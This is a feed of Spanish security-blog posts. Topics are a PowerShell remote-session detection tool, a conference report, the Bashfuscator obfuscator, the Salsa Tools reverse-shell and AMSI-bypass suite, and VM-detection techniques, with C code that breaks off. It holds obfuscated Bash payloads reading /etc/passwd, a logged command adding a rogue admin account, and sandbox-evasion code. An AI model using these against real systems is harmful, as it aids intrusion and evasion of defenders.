Quantcast
Channel: hackplayers
Viewing all 1670 articles
Browse latest View live

Cazando comandos remotos de versiones viejas de PowerShell con RemotePSpy

$
0
0
Ya sabéis que PowerShell es muy usado por los "rojirrins" debido a su poder y flexibilidad. Y también que no sólo los comandos y los scripts se pueden ejecutar en una sesión local de PowerShell, sino que también es posible (y muy normal) ejecutar PowerShell en un host remoto. Esto puede ayudar a un atacante a moverse lateralmente y evitar dejar un script en disco.

Desde el punto de vista de los "azulones", la dificultad para detectar y responder a una sesión de PowerShell remota varía mucho según la versión de PowerShell que se esté utilizando. Las versiones más modernas incluyen funciones de logging total que pueden incluir una transcripción completa de sesiones completas de PowerShell con todas las entradas y salidas. Pero las versiones anteriores tienen un registro mucho más rudimentario que puede hacer muy difícil saber exactamente qué sucedió en una sesión determinada.

Para enfrentarnos a esta situación como "hunters" podemos usar RemotePSpy, una herramienta que puede obtener el detalle completo de lo que sucede en las sesiones remotas de PowerShell, tanto en las versiones más nuevas de PowerShell como en las más antiguas.

RemotePSpy ofrece una vista que se aproxima a lo que se mostraría en la pantalla del atacante cuando está ejecutando PowerShell en remoto. En el siguiente GIF se muestra a la izquierda la pantalla del atacante y a la derecha la vista de RemotePSpy.


Una cosa interesante acerca de las sesiones interactivas es que realmente puede ver cuando el atacante usa la pestaña completa, que usa el comando TabExpansion por debajo.

Al mismo tiempo que se muestra la pantalla de forma interactiva, todas las entradas y salidas también se registran en RemotePSpy.log de forma más detallada:


Las sesiones no interactivas funcionan de la misma manera. Un script ejecutado desde un archivo o en un ScriptBlock pasado en la línea de comandos se enviará al host remoto, donde se registra su contenido, seguido de su salida.

A continuación se muestra un ejemplo de la ejecución de Add-NetUser desde PowerView en PowerSploit para agregar una cuenta de administrador local a un host remoto a través de PowerShell (la secuencia de comandos se ha reducido por brevedad, la función original está en https://github.com/PowerShellMafia /PowerSploit/blob/master/Recon/PowerView.ps1).
 2019-01-07 11:00:25,503 - RemotePSpy.simple_cmd - INFO - Runspace: 506ddad2-79cc-4dd9-8c98-60c836c1c3b9, Pipeline: 56e3f7dd-e082-4354-8236-e25eec70b875, Destination: 2, Command: function Add-NetUser {  
 <#
   .SYNOPSIS
     Adds a domain user or a local user to the current (or remote) machine,    
 < .... SNIP .... >
     else {
       Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName
       "[*] User $UserName successfully added to group $GroupName on host $ComputerName"
     }
   }
 }
 Add-NetUser -UserName AcidBurn -Password H@cktheplanet -ComputerName latmov-win7-02
 2019-01-07 11:00:29,325 - RemotePSpy.simple_cmd - INFO - Empty message data in PIPELINE_OUTPUT message. Runspace: 506ddad2-79cc-4dd9-8c98-60c836c1c3b9, Pipeline: 56e3f7dd-e082-4354-8236-e25eec70b875, Destination: 1
 2019-01-07 11:00:29,325 - RemotePSpy.simple_cmd - INFO - Runspace: 506ddad2-79cc-4dd9-8c98-60c836c1c3b9, Pipeline: 56e3f7dd-e082-4354-8236-e25eec70b875, Destination: 1, output: [*] User AcidBurn successfully created on host latmov-win7-02

Este script agrega al usuario mediante PowerShell puro, por lo que no ve ningún comando específico para agregar al usuario en el destino, solo un proceso wsmprovhost.exe que aloja el PowerShell remoto. Sin el logging detallado de las nuevas versiones de PowerShell, sería casi imposible saber qué sucedió en esta sesión remota, pero RemotePSpy puede revelar lo que sucedió.

Instalación y funcionamiento

RemotePSpy puede ser instalado via pip:

pip install remotepspy

Simplemente ejecuta RemotePSpy.exe para iniciar la supervisión y el registro, y presiona Enter otra vez cuando haya terminado. El registro se escribirá en el directorio de trabajo actual, denominado RemotePSpy.log.

La herramienta también volcará una réplica aproximada de lo que el usuario de PowerShell remoto vería en su pantalla a la salida estándar, junto con la información más detallada en el archivo de registro.

Tambien tenemos el código fuente en Github:

https://github.com/countercept/RemotePSpy

Si echáis un vistazo al código, hay un registro completo en diferentes capas en el protocolo. Cada nombre del registrador Python está definido por una constante LOGGER_NAME en cada clase dentro del código, y algunos registros especialmente útiles que puede generar se muestran en la tabla a continuación. Estos permiten obtener un seguimiento completo del protocolo en varias capas.


RemotePSpy utiliza el seguimiento de eventos para Windows (ETW) para obtener los datos necesarios para decodificar una sesión remota de PowerShell. De forma predeterminada, utiliza el proveedor Microsoft-Windows-WinRM, pero también es posible usar Microsoft-Windows-PowerShell, aunque este último hace cierto seguimiento del estado en el que el código debe ser un poco más complejo.

El proveedor de WinRM proporciona un seguimiento completo de los mensajes de WinRM. Ya sabéis que WinRM es un protocolo de administración remota para Windows y puede realizar muchas tareas. Uno de ellos es ser la capa de transporte para el protocolo remoto de PowerShell (PSRP). Por lo tanto, es posible decodificar este tráfico WinRM, extraer la capa PSRP y decodificarlo para averiguar qué está sucediendo dentro de una sesión remota de PowerShell.

El proveedor de PowerShell nos permite obtener el protocolo PSRP directamente, pero debido a la forma en que se presentan los datos hace que sea un poco más difícil realizar un seguimiento preciso del contexto del "shell" en el que se ejecuta un comando PowerShell determinado. En la versión actual, esto puede producir algunas advertencias innecesarias en la traza, por lo que el proveedor WinRM se utiliza de forma predeterminada.

Fuente: https://countercept.com/blog/remotepspy-remote-powershell-visibility-for-older-versions

#hc0n2019 : Crónica de la segunda conferencia de @Hackplayers

$
0
0

Cuando era pequeño recuerdo que una vez mi padre me dijo que era mucho más difícil y valioso construir algo que destruirlo. Él era albañil así que usó el símil de una pared de ladrillos: reventar un muro a mazazos es mucho más fácil y rápido que tener que construirlo... y realmente es así, crear es más laborioso y debe hacerse "ladrillo a ladrillo", desde la base del suelo hacia el cielo, tan alto como quieras o te empeñes que llegue. Así nació Hackplayers hace 10 años, desde abajo del todo, empecé con un ladrillo, luego con otro, después otro tras otro y hoy todavía esa construcción sigue creciendo, un viaje en el que muchos amigos se han ido sumando poniendo también ladrillos, levantando juntos nuevos proyectos como nuestra propia conferencia: la h-c0n.

No sé cuánto tiempo resistirá en pie esta parte del muro, ni qué tan alto llegará; sólo que estoy tremendamente satisfecho de lo que hemos construido hasta ahora, un evento con una gran acogida donde todos los participantes terminan contentos (nuestro mayor logro) para convertirse en un punto de encuentro entre profesionales, estudiantes y en definitiva apasionados por un interés común: el hacking y la in-seguridad informática.

En esta nuestra segunda edición, que tuvo lugar el 8 y 9 de febrero, intentamos ser bastante continuistas con respecto a la anterior. ¿Por qué?, pues porque creemos que el año pasado salió todo muy bien y porque teníamos prácticamente la posibilidad de contar con los mismos ingredientes, lo que se traducía en una oportunidad de consolidar el Congreso y dar un pasito más. Así que el formato fue similar: mismo escenario, mismo tipo de CTF, sorteos y descuentos para los asistentes y la posibilidad de disfrutar de 12 charlas y 4 talleres de una temática amplia y diversa. Precisamente porque una de las novedades de este año fue poner en liza un "Call For Papers" para poder elegir análisis de malware, Threat intelligence, Red Team, Wireless hacking, Exploiting, Reversing, Hardware, IoT, Pentesting, Mobile, Radio, Privacidad y anonimato... casi nada.


Otra de las novedades de este año (y quizás una por la que nos sentimos más orgullosos los miembros del staff) ha sido la donación de 1€ de cada entrada vendida a la ONG Cesal para apoyar un proyecto para dar una formación de reparación de ordenadores a jóvenes en riesgo de exclusión. Nos gustaría haber donado más pero aún así creemos que cualquier aportación a este tipo de causas es muy importante. Y creedme que conseguirlo no es fácil, somos una asociación sin ánimo de lucro e intentamos mantener un precio de entrada lo más asequible posible para llegar a todos, haciendo frente a las comisiones de la plataforma de pagos y venta de entradas y al resto de gastos que sufragamos con lo que nos aportan también los patrocinadores a los que tenemos que reiterar nuestro más sincero agradecimiento.

A destacar este año que a parte del stand de libros algunas empresas montaron los suyos propios para tener un contacto con los asistentes y recoger CVs, espero que haya sido útil e interesante para todas las partes. Y también reseñar que este año además hemos recibido el apoyo institucional del CCNCert, todo un auténtico honor.

Gracias sobretodo a los 24 ponentes que han participado deleitándonos con sus charlas y talleres técnicos, creo sinceramente que ellos son una de las partes más importantes y el centro alrededor del que gira el congreso, cada vez mejorando y sorprendiéndonos más con sus increibles investigaciones y cada vez estrechando más lazos que muchas veces se hilvanan en amistad. Durante las próximas semanas iremos publicando en la web las presentaciones y vídeos que nos vayan facilitando. Atentos al blog y la web https://www.h-c0n.com.

Por supuesto gracias de nuevo a la UPM por dejarnos usar sus instalaciones y a los chicos de la Core Dumped que nos ayudaron tanto durante los dos días del evento y, cómo no, también a los asistentes de la h-c0n, superando de nuevo nuestras expectativas agotando las entradas con tanta antelación, algunos incluso viajando desde fuera de Madrid y muchos participando tan activamente en el "ritual de post-explotación del evento", aka toma de cañas y copas del viernes y sábado por la noche ;)

Y por último y en especial gracias a mis compañeros de staff por todo el esfuerzo realizado para que h-c0n se materialice y sea posible. Hemos peleado y luchado contra viento y marea para que esto salga adelante y al final, ya lo veis amigos, creo que ha vuelto a merecer la pena tanto esfuerzo. Como decía un tal Arnold Bennett: “Es más fácil caminar colina abajo que hacia arriba, pero las mejores vistas se ven desde lo alto.”


¡Nos vemos en la #hc0n2020!

Bashfuscator: un framework para ofuscar Bash

$
0
0

Bashfuscator es un framework modular y extensible escrito en Python 3 para ofuscar Bash. A través de esta herramienta dispondremos de muchas formas diferentes de hacer que los one-liners o scripts en bash sean mucho más difíciles de entender. Esto se logra generando un código Bash aleatorio y enrevesado que, en tiempo de ejecución, se evalúa en la entrada original y la ejecuta. Bashfuscator hace que la generación de comandos y scripts Bash muy confusos sea fácil, tanto desde la línea de comandos como desde una librería de Python.

El propósito de este proyecto es dar a un Red Team la capacidad de evitar las detecciones estáticas en un sistema Linux, y el conocimiento y las herramientas para escribir mejor las técnicas de ofuscación de Bash. Aunque también este framework fue desarrollado teniendo en cuenta al Blue Team, ya que puede generar fácilmente miles de comandos o comandos ofuscados únicos para ayudar a crear y probar las detecciones de la ofuscación de Bash.

Soporte de payloads

Aunque Bashfuscator funciona en sistemas UNIX, muchos de los payloads que genera no lo harán. Esto se debe a que la mayoría de los sistemas UNIX utilizan utilidades basadas en BSD, y Bashfuscator fue construido para funcionar con utilidades basadas en GNU. En el futuro, se puede agregar el soporte de payload BSD, pero por ahora los que se generan con Bashfuscator deberían funcionar en sistemas GNU Linux con Bash 4.0 o más reciente.

Requisitos de instalación

Bashfuscator requiere Python 3.6+.

En una distribución basada en Debian, ejecuta este comando para instalar las dependencias:

sudo apt-get update && sudo apt-get install python3 python3-pip python3-argcomplete xclip

En una distribución basada en RHEL, ejecuta este comando para instalar las dependencias:

sudo dnf update && sudo dnf install python3 python3-pip python3-argcomplete xclip

Luego, ejecuta estos comandos para clonar e instalar Bashfuscator:

git clone https://github.com/Bashfuscator/Bashfuscator
cd bashfuscator
python3 setup.py install --user

Solo se admiten las distribuciones basadas en Debian y RHEL. Aunque Bashfuscator ha sido probado en algunos sistemas UNIX no llega ser todavía compatible.

Ejemplo de uso

Para un uso sencillo, simplemente se puede pasar el comando que se quiere ofuscar con -c, o el script que se quiere ofuscar con -f.
$ bashfuscator -c "cat /etc/passwd"

[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:

   ${@/l+Jau/+<b=k } p''"r"i""n$'t\u0066' %s  "$(      ${*%%Frf\[4?T2   }  ${*##0\!j.G }   "r"'e'v <<< '  "} ~@{$"  ")  }  j@C`\7=-k#*{$   "}   ,@{$" ; }  ;   } ,,*{$  "}]  }   ,*{$  "}   f9deh`\>6/J-F{\,vy//@{$" niOrw$   } QhwV#@{$ [NMpHySZ{$" s%  "f"'"'"'4700u\n9600u\r'"'"'$p  {   ;  }  ~*{$  "}  48T`\PJc}\#@{$"  1#31  "}  ,@{$"  }  D$y?U%%*{$ 0#84  *$   }   Lv:sjb/@{$   2#05   }   ~@{$   2#4   }*!{$  }   OGdx7=um/X@RA{\eA/*{$ 1001#2   }   Scnw:i/@{$  } ~~*{$  11#4   "} O#uG{\HB%@{$"  11#7 "} ^^@{$" 011#2   "}   ~~@{$" 11#3 }  L[\h3m/@{$  "}   ~@{$" 11#2 }  6u1N.b!\b%%*{$   }   YCMI##@{$   31#5 "} ,@{$" 01#7  }  (\}\;]\//*{$ }   %#6j/?pg%m/*{$   001#2  "}  6IW]\p*n%@{$"  }  ^^@{$ 21#7  } !\=jy#@{$  }   tz}\k{\v1/?o:Sn@V/*{$  11#5   ni   niOrw  rof ;   "}   ,,@{$" } MD`\!\]\P%%*{$   )  }@{$   a   }  ogt=y%*{$ "@$" /\   }   {\nZ2^##*{$    \   *$  c  }@{$  }   h;|Yeen{\/.8oAl-RY//@{$   p  *$  "}@{$" t   }  zB(\R//*{$  } mX=XAFz_/9QKu//*{$  e   *$  s  } ~~*{$  d   }  ,*{$   }  2tgh%X-/L=a_r#f{\//*{$   w }  {\L8h=@*##@{$   "}   W9Zw##@{$" (=NMpHySZ    ($" la'"'"''"'"'"v"'"'"''"'"''"'"'541\'"'"'$  } &;@0#*{$ '  "${@}""${@%%Ij\[N   }"   ${@~~  }   )" ${!*} |   $@  $'b\u0061'''sh   ${*//J7\{=.QH   }

[+] Payload size: 1232 characters

También se puede copiar el payload ofuscada al portapapeles con --clip, o escribirlo en un archivo con -o.

Para un uso más avanzado, podemos usar el parámetro --choose-mutators y especificar exactamente qué módulos de ofuscación o Mutators queremos usar y en qué orden. Mediante el argumento -s podemos controlar también el nivel de ofuscación usado.
bashfuscator -c "cat /etc/passwd" --choose-mutators token/special_char_only compress/bzip2 string/file_glob -s 1
[+] Payload:

"${@#b }" "e"$'\166'"a""${@}"l "$(  ${!@}m''$'k\144'''ir -p '/tmp/wW'${*~~} ;$'\x70'"${@/AZ }"rin""tf  %s  'MxJDa0zkXG4CsclDKLmg9KW6vgcLDaMiJNkavKPNMxU0SJqlJfz5uqG4rOSimWr2A7L5pyqLPp5kGQZRdUE3xZNxAD4EN7HHDb44XmRpN2rHjdwxjotov9teuE8dAGxUAL'>  '/tmp/wW/?

??';  prin${@#K. }tf %s  'wYg0iUjRoaGhoNMgYgAJNKSp+lMGkx6pgCGRhDDRGMNDTQA0ABoAAZDQIkhCkyPNIm1DTQeppjRDTTQ8D9oqA/1A9DjGhOu1W7/t4J4Tt4fE5+isX29eKzeMb8pJsPya93' >  '/tmp/wW/???

'"${@,, }" &&${*}pri''\n${*,}tf %s 'RELKWCoKqqFP5VElVS5qmdRJQelAziQTBBM99bliyhIQN8VyrjiIrkd2LFQIrwLY2E9ZmiSYqay6JNmzeWAklyhFuph1mXQry8maqHmtSAKnNr17wQlIXl/ioKq4hMlx76'>'/tmp/wW/??

';"${@,  }" $'\x70'rintf  %s 'clDkczJBNsB1gAOsW2tAFoIhpWtL3K/n68vYs4Pt+tD6+2X4FILnaFw4xaWlbbaJBKjbGLouOj30tcP4cQ6vVTp0H697aeleLe4ebnG95jynuNZvbd1qiTBDwAPVLTtCLx'>'/tmp/wW/?

?' ;  ${*/~} p""${@##vl  }ri""n''tf %s  ' pr'"'"'i'"'"'$'"'"'n\x74'"'"'f %s  "$( prin${*//N/H  }tf  '"'"'QlpoOTFBWSZTWVyUng4AA3R/gH7z/+Bd/4AfwAAAD8AAAA9QA/7rm7NzircbE1wlCTBEamT1PKekxqYIA9TNQ'>'/tmp/wW/????' "${@%\`  }" ;p''r""i$'\x6e'''$'\164'"f" %s 'puxuZjSK09iokSwsERuYmYxzhEOARc1UjcKZy3zsiCqG5AdYHeQACRPKqVPIqkxaQnt/RMmoLKqCiypS0FLaFtirJFqQtbJLUVFoB/qUmEWVKxVFBYjHZcIAYlVRbkgWjh' >'/tmp/wW/?

' ${*};"p"rin''$'\x74f' %s  'Gs02t3sw+yFjnPjcXLJSI5XTnNzNMjJnSm0ChZQfSiFbxj6xzTfngZC4YbPvaCS3jMXvYinGLUWVfmuXtJXX3dpu379mvDn917Pg7PaoCJm2877OGzLn0y3FtndddpDohg'>'/tmp/wW/?

?

'&& "${@^^ }" pr""intf  %s  'Q+kXS+VgQ9OklAYb+q+GYQQzi4xQDlAGRJBCQbaTSi1cpkRmZlhSkDjcknJUADEBeXJAIFIyESJmDEwQExXjV4+vkDaHY/iGnNFBTYfo7kDJIucUES5mATqrAJ/KIyv1UV'> '/tmp/wW/

???' ${*^}; ${!@}  "${@%%I  }"pri""n$'\x74f' %s '1w6xQDwURXSpvdUvYXckU4UJBclJ4OA'"'"' |""b${*/t/\(  }a\se$'"'"'6\x34'"'"' -d| bu${*/\]%}nzi'"'"'p'"'"'${!@}2  -c)" $@  |${@//Y^  } \ba\s"h" '>  '/tmp/wW/

??

' ${@%b  } ;  pr"i"\ntf  %s  'g8oZ91rJxesUWCIaWikkYQDim3Zw341vrli0kuGMuiZ2Q5IkkgyAAJFzgqiRWXergULhLMNTjchAQSXpRWQUgklCEQLxOyAMq71cGgKMzrWWKlrlllq1SXFNRqsRBZsKUE'>  '/tmp/wW/??

?'"${@//Y  }" ;$'c\141t''/tmp/wW'/????  ${*/m};"${@,,  }" $'\162'\m '/tmp/wW'/????  &&${@^ }rmd\ir  '/tmp/wW'; ${@^^  }   )" "${@}"



[+] Payload size: 2062 characters
Para más detalles y ejemplos, consulta la documentación.

Proyecto Github: https://github.com/Bashfuscator/Bashfuscator

Inmersión en la post-explotación tiene rima (by @CyberVaca_ #hc0n2019)

$
0
0
Vamos a empezar a publicar las presentaciones de las charlas de la h-c0n 2019 con la de uno de los ponentes mejor valorados durante la primera edición: Luis Vacas aka CyberVaka, compañero de batallas de nuestro grupo l1k0rd3b3ll0t4 y severo "castigador" de Güindous xD

En su charla de este año nos traía la suite Salsa Tools, un conjunto de herramientas escritas en C# que nos permitirán tener una shell reversa en cualquier entorno de Windows sin la necesidad de tener PowerShell para su ejecución. Esta suite está enfocada a tener mayor versatilidad, bypassear el antivirus y dificultar que obtengan el código.

La idea es separar el loader del payload, cifrar el payload, cargarlo en memoria y añadir métodos de transferencia. El payload siempre lo usaremos como string.

El resultado es un crypter, un payload y el loader:

- EncrypterAssembly: cifra el payload usando RC4. Tenemos la versión en python o exe.

- EvilSalsa: es el payload. Básicamente, lo que hace es cargar  System.Management.Automation.dll. Crea un espacio de ejecución con cuatro tipos de shells (TCP/UDP/ICMP/DNS). Cuando se carga EvilSalsa en el sistema, lo primero que hace es verificar si se encuentra "c:\windows\system32\amsi.dll" en el sistema, si lo está parcheado :D. El parche es una variante del parche de CyberArk y Rastamouse.

- SalseoLoader: se encarga de cargar el payload cifrado. SalseoLoader puede compilarse como una librería o como un ejecutable. En el caso de que se compile como ejecutable, solo debemos pasar el argumento que queremos ejecutar. Si lo compilamos como una librería tendremos que realizar una exportación del descriptor "main", y la forma de crear el argumento se realiza a través de la lectura de variables de entorno.

Podéis encontrar todo el software en el repo de Github: https://github.com/Hackplayers/Salsa-tools/

Os dejo la presentación y los videos de demo que usó en su charla de la h-c0n 2019:



Demo:

Shellcode que "pita"
Url del video: https://youtu.be/Hjy8BQrT47I

Shellcode que NO "pita"
Url del video: https://youtu.be/THXYVYgjc6g

EncrypterAssembly
Url del video: https://youtu.be/ID95-Sy1y_M

SalseoLoaderDLL
Url del video: https://youtu.be/6ezW4OKvyNQ

Demo en dominio
Url del video: https://youtu.be/mrZSIG69xe4

Fotos: 

 Próximamente

Enlaces (web h-c0n): 

- https://www.h-c0n.com/p/ponentes_9.html#Vacas
- https://www.h-c0n.com/p/ponencias.html#avbypass

Material adicional: 

- AMSI Bypass Redux (CyberArk)
- AMSI Bypass (Rastamouse) 

Técnicas de detección de VMs y contramedidas

$
0
0
Los desarrolladores de malware saben que sus artefactos va a ser irremediablemente analizados por threat hunters, forenses y demás "azulones" que intentarán destriparlos para obtener el detalle de su funcionamiento y obtener los IoCs correspondientes para contenerlos.  También saben que la mayoría serán analizados en  sandboxes con máquinas virtuales que pueden proporcionar un entorno aislado para que el malware se active, para que sus acciones puedan ser controladas e interceptadas.

Por ello los programas maliciosos de esta era detectan que se están ejecutando en una máquina virtual y actúan en consecuencia: se abstienen de inyectar código dentro de las aplicaciones, mantienen cifrado o encodeado el código malicioso, no conectan con los servidores de C&C, etc. y buena parte de sus esfuerzos se centran en utilizar técnicas más avanzadas para la detección. Por ejemplo, las últimas versiones del ransomware Locky añadían un nuevo "truco" anti-VM bastante curioso: realizaba dos llamadas a la API de Windows, GetProcessHeap () y CloseHandle () y dependiendo del tiempo de respuesta determinaba si estaba o no en una VM.

Pero veamos las técnicas más genéricas utilizadas por el malware de hoy en día para detectar el entorno virtualizado:

TÉCNICAS PARA DETECTAR ENTORNOS VIRTUALIZADOS

ARTEFACTOS DE UN ENTORNO VIRTUALIZADO

- Comprobación del registro: cada vez que generamos una nueva máquina virtual en el sistema operativo invitado hay muchas entradas en el registro relacionadas con el producto de virtualización utilizado y, como no podía ser de otra manera, el malware consulta la presencia de estas entradas. Por ejemplo en VMWare:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc
VMware SCSI Controller
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName
VMware, Inc.

- Verificación de memoria: la ubicación de varias estructuras de memoria, especialmente la IDT (Interrupt Descriptor Table), varía en la máquina virtual en comparación con una máquina física.
El malware verifica el uso de varias estructuras de memoria como:

     . Almacenar tabla de descriptor de interrupciones (SIDT): en una máquina virtual, normalmente se encuentra en 0xffXXXXXX, mientras que, en una máquina física, se ubica algo más bajo que la típica alrededor de 0x80ffffff.

     . Otras estructuras que a menudo son controladas por malware son:
Store Local Descriptor Table (SLDT)
Store Global Descriptor Table (SGDT)
Store Task Register (STR)

- Verificación de procesos y archivos/directorios: por ejemplo, en todas las máquinas virtuales creadas con VMWare hay varios procesos que se siguen ejecutando en segundo plano, como VMwareService.exe, VMwareTray.exe, etc. Además, a veces VMware también instala algunas herramientas en la máquina virtual creada. También hay algunos drivers del sistema específicos para software de virtualización, que se pueden ubicar en la ruta: %windir%\system32\drivers\ con algunos nombres como: vmci.sys, vmhgfs.sys, vmmouse.sys, vmscsi.sys, vmusbmouse.sys, vmx_svga.sys, vmxnet.sys, VBoxMouse.sys. El software malicioso vigila todos los procesos y archivos para detectar el entorno VM.

- Comprobación del canal de comunicación: normalmente el malware comprueba también  cualquier comunicación con el host. Para ello ejecuta la instrucción IN. La instrucción IN es una instrucción privilegiada y solo se puede ejecutar desde el Ring 0, pero si se ejecuta desde el Ring 3, se generará una excepción. Sin embargo, cuando esta instrucción se desencadena desde el malware dentro de la máquina virtual, no hay tal excepción y la VM genera una conexión con el hos. Si el número mágico ‘VMxh’ se devuelve al registro EBX, el malware tendrá la certeza que actualmente se está ejecutando en una VM.

- Comprobación de MAC: el malware también comprueba la dirección MAC de la máquina subyacente. Por ejemplo, la dirección MAC que comienza con 00-05-69, 00-0c-29, 00-1c-14 o 00-50-56 pertenece a VMware. También se revisa el número de serie de la BIOS. Por lo general, las máquinas virtuales creadas con VMWare tienen una cadena 'VMware' adjunta a su número de serie de BIOS.

- Otras comprobaciones de hardware: hay varios parámetros de hardware que son específicos de productor de virtualización en comparación con el sistema físico. El malware consulta varios atributos como SerialNo, SocketDesignation, Caption para verificar los valores de la placa base, el procesador y el controlador SCSI respectivamente.

Por ejemplo, en sistemas Linux podemos consultar /proc/cpuinfo y buscar la palabra "hypervisor" en la flag section. Echa un vistazo a los siguientes ejemplos:

En una máquina física:

flags       : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb invpcid_single intel_pt kaiser tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp

En una máquina virtual de vmware:

flags       : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf unfair_spinlock pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 popcnt aes xsave avx hypervisor lahf_lm ida arat xsaveopt pln pts dts

DIFERENCIAS ENTORNO

Se comprueba la presencia de un mouse, conexión a Internet, tarjeta de sonido,...

DIFERENCIAS DE EJECUCIÓN

- Detección de la traducción de bloques (crear otro hilo y aplicar estadísticas en el IP), diferentes valores de registros del sistema (https://code.google.com/p/corkami/source/browse/trunk/src/CoST/CoST.asm?r=1593#1363), ... 

- Falta de interacción del usuario (específica para el entorno automatizado): sin movimiento del mouse, sin operaciones de archivo, ...

DIFERENCIAS DE ENTORNO ESPECÍFICAS

VmWare backdoor, VirtualPC exception bug, ...

CONTRAMEDIDAS

El malware generalmente realiza llamadas a la API para obtener información del sistema y toma una decisión al respecto. Por lo tanto, la monitorización de estas llamadas a la API sería muy importante para contrarrestar el sistema de decisión de malware

- Contrarrestar la verificación del registro: supervisar la acción del malware interceptando las llamadas a la API y agregar una la salida personalizada para ocultar al malware la presencia del host subyacente. Se pueden monitorizar la llamadas de registro:

RegEnumKey ()
RegEnumValue ()
RegOpenKey ()
RegQueryInfoKeyValue ()
RegQueryMultipleValues ​​()
RegQueryValue ()

- Contrarrestar la comprobación de hardware: monitorizar el hardware siguiendo las API:

SetupDiEnumDeviceInfo ()
SetupDiGetDeviceInstanceId ()
SetupDiGetDeviceRegistryProperty ()
API de WMI

Un punto importante a tener en cuenta en la verificación de hardware es la recuperación de información mediante la dirección MAC. Los analistas deben cambiar la dirección MAC en la máquina virtual a otra que no sea el rango de VMware o el producto de virtualización utilizado.

- Contrarrestar la comprobación de memoria: Para contrarrestar la comprobación de memoria, hay que supervisar las instrucciones como SIDT, SLDT, SGDT y STR. Además, como el malware lee los valores de las instrucciones de los registros, sería una buena idea cambiar los valores de registro afectados.

- Contrarrestar el canal de comunicación de la máquina virtual: Como se indicó anteriormente, esto generalmente se lleva a cabo con instrucciones IN. Para contrarrestar el canal de comunicación de la VM, supervisar la instrucción IN y cambiar el valor del valor mágico (VMXh).

- Contrarrestar la verificación de archivos y procesos: Como ya habréis adivinado, la verificación de archivos y procesos se puede contrarrestar mediante la supervisión de las API para carpetas, archivos, procesos, etc. En este caso, si el malware realiza una solicitud para consultar archivos y carpetas, entonces esa llamada a la API debe ser interceptada, y un mensaje personalizado debe ser enviado como salida al malware para impedir que reconozca cualquier archivo de VMware o el producto utilizado.

HERRAMIENTAS

SCOOPY

-  Scoopy ejecuta SIDT, SGDT y SLDT
- Las verificaciones para ver el IDT se encuentran en una dirección que comienza con 0xc0 (Linux) y 0x80 (Windows). Si lo encuentra, Scoopy muestra un mensaje que indica que se está ejecutando en una máquina host. De lo contrario, se imprime que está en un sistema operativo invitado.
- Klein usa una lógica idéntica para comparar la ubicación del GDT con 0xc0XXXXXX para obtener una "segunda opinión"
 - Y luego, mira el LDT (solo 2 bytes). • IfLDTislocatedat0x0000, itisarealmachine, elseVMware 
¡Son tres pruebas por el precio de una!

VMDETECT

VMDetect usa tres técnicas distintas para detectar VirtualPC y VMware: Writtenbylallous, Highlyeffective, Hardtododge

AL-KHASER

Una colección de técnicas anti-sandbox/vm/debugger implementadas en un programa de código abierto que nos dará una idea clara de cómo detectar virtualización.

ANTIVMDETECTION

Es un script que ayuda a crear plantillas que puede usar con VirtualBox para hacer que la detección de máquinas virtuales sea más difícil.

MÉTODOS Y "TRUCOS" PARA LA DETECCIÓN DE VMs

VirtualBox

- http://pastebin.com/RU6A2UuB (9 métodos distintos, registro, VBOX dlls, pipe names etc)
//http://waleedassar.blogspot.com - (@waleedassar)
#include "stdafx.h"
#include "windows.h"


void ToLower(unsigned char* Pstr)
{
char* P=(char*)Pstr;
unsigned long length=strlen(P);
for(unsigned long i=0;i<length;i++) P[i]=tolower(P[i]);
return;
}

int main(int argc, char* argv[])
{
//method 1
HKEY HK=0;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"HARDWARE\\ACPI\\DSDT\\VBOX__",0,KEY_READ,&HK)==ERROR_SUCCESS)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(1);
}

//method 2 -- requires Guest Additions to be installed.
HANDLE hF1=CreateFile("\\\\.\\VBoxMiniRdrDN",GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,0,OPEN_EXISTING,0,0);
if(hF1!=INVALID_HANDLE_VALUE)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(2);
}


//method 3 -- requires Guest Additions to be installed
HMODULE hM1=LoadLibrary("VBoxHook.dll");
if(hM1)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(3);
}

//method 4 -- requires Guest Additions to be installed
HK=0;
if( (ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Oracle\\VirtualBox Guest Additions",0,KEY_READ,&HK)) && HK)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
RegCloseKey(HK);
ExitProcess(4);
}

//method 5
HK=0;
char* subkey="SYSTEM\\CurrentControlSet\\Enum\\IDE";
if( (ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_READ,&HK)) && HK )
{
unsigned long n_subkeys=0;
unsigned long max_subkey_length=0;
if(ERROR_SUCCESS==RegQueryInfoKey(HK,0,0,0,&n_subkeys,&max_subkey_length,0,0,0,0,0,0))
{
